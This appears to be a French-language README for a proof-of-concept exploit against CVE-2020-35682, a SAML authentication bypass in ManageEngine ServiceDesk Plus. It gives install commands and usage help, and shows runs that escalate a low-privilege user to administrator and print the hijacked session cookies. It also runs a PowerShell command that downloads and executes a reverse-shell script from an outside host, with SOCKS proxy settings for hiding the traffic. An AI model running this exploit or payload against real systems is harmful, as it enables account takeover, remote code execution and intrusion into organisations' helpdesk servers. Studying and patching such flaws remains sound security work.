
Exploit de preuve de concept pour CVE-2020-35682 : contournement de l'authentification SAML dans ManageEngine ServiceDesk Plus, permettant une escalade de privilèges vers administrateur et une exécution de code à distance.
SD-91948 : CVE-2020-35682 : Vulnérabilité de contournement d’authentification lors de la connexion SAML dans ServiceDesk Plus. (Tel que décrit par ManageEngine). Si l’installation cible de ServiceDesk Plus (<11134) a la connexion SAML activée et que vous disposez d’identifiants pour un utilisateur à faibles privilèges, vous pouvez escalader vers administrateur et obtenir une exécution de code à distance (RCE).
J’ai décidé de publier cette POC car il n’existe ni d’exploit public ni beaucoup de description pour exploiter ce bug. Le code est assez sale mais il fonctionne.
git clone https://github.com/its-arun/CVE-2020-35682.git
cd CVE-2020-35682
pip3 install -r requirements.txt
chmod +x exploit.py
┌─[✗]─[felli0t@damnlab]─[~/POCs/CVE-2020-35682]
└──╼ $./exploit.py -h
usage: exploit.py [-h] -u URL -e EMAIL -p PASSWORD -d DOMAIN [-x PAYLOAD] [-a ADMINUSERNAME]
CVE-2020-35682 : Vulnérabilité de contournement d’authentification lors de la connexion SAML dans ServiceDesk Plus
arguments optionnels:
-h, --help affiche ce message d’aide et quitte
-x PAYLOAD, --payload PAYLOAD
Paquet à exécuter sur la cible, ex: "powershell iex(iwr http://192.168.2.10:8080/reverseshell.ps1
-usebasicparsing)"
-a ADMINUSERNAME, --adminusername ADMINUSERNAME
Nom d’utilisateur admin, par défaut : administrator
arguments nommés obligatoires:
-u URL, --url URL URL d’installation de ServiceDesk Plus, ex: https://tenet.local/sdp
-e EMAIL, --email EMAIL
E-mail de l’utilisateur pour la connexion SAML, ex: [email protected]
-p PASSWORD, --password PASSWORD
Mot de passe de l’utilisateur pour la connexion SAML
-d DOMAIN, --domain DOMAIN
Domaine, ex: TENET
┌─[felli0t@damnlab]─[~/POCs/CVE-2020-35682]
└──╼ $./exploit.py -u "https://tenet.local/sdp" -e '[email protected]' -p 'P@ssw0rd' -d "TENET"
[+] Session créée en tant qu’administrateur.
[+] Utilisez les cookies suivants pour vous connecter en tant qu’administrateur
=[NOM DU COOKIE]= =[VALEUR DU COOKIE]=
JSESSIONIDSSO E1D80C738E12085360A789109D43A233
PORTALID 1
SDPSESSIONID 918B7C63186055F72EAD2DEAC34B4CA9
┌─[felli0t@damnlab]─[~/POCs/CVE-2020-35682]
└──╼ $./exploit.py -u "https://tenet.local/sdp" -e '[email protected]' -p 'P@ssw0rd' -d "TENET" -x "powershell iex(iwr http://192.168.2.10:8080/reverseshell.ps1 -usebasicparsing)"
[+] Session créée en tant qu’administrateur.
[+] Utilisez les cookies suivants pour vous connecter en tant qu’administrateur
=[NOM DU COOKIE]= =[VALEUR DU COOKIE]=
JSESSIONIDSSO 2316433DF39DFFE8ACD4E1DDD759D259
PORTALID 1
SDPSESSIONID 666788540DB6329CB7E59E1E96FF30EB
[+] Déclencheur personnalisé ADQRYN11WA6KEXIQ créé
[+] Requête créée pour déclencher l’action personnalisée ADQRYN11WA6KEXIQ
[+] Exécuté "powershell iex(iwr http://192.168.2.10:8080/reverseshell.ps1 -usebasicparsing)" sur "https://tenet.local/sdp"
[+] Requête ADQRYN11WA6KEXIQ supprimée
[+] Action personnalisée ADQRYN11WA6KEXIQ supprimée
Les proxys peuvent être définis à la ligne 9 dans exploit.py au format suivant
proxies = {'http': 'socks4://127.0.0.1:9050','https': 'socks4://127.0.0.1:9050'}
Ou vous pouvez définir le proxy en tant que variable d’environnement si vous ne souhaitez pas modifier la source
export HTTP_PROXY="socks4://127.0.0.1:9050"
export HTTPS_PROXY="socks4://127.0.0.1:9050"
Assurez-vous de désactiver ces variables après avoir exécuté l’exploit.
unset HTTP_PROXY HTTPS_PROXY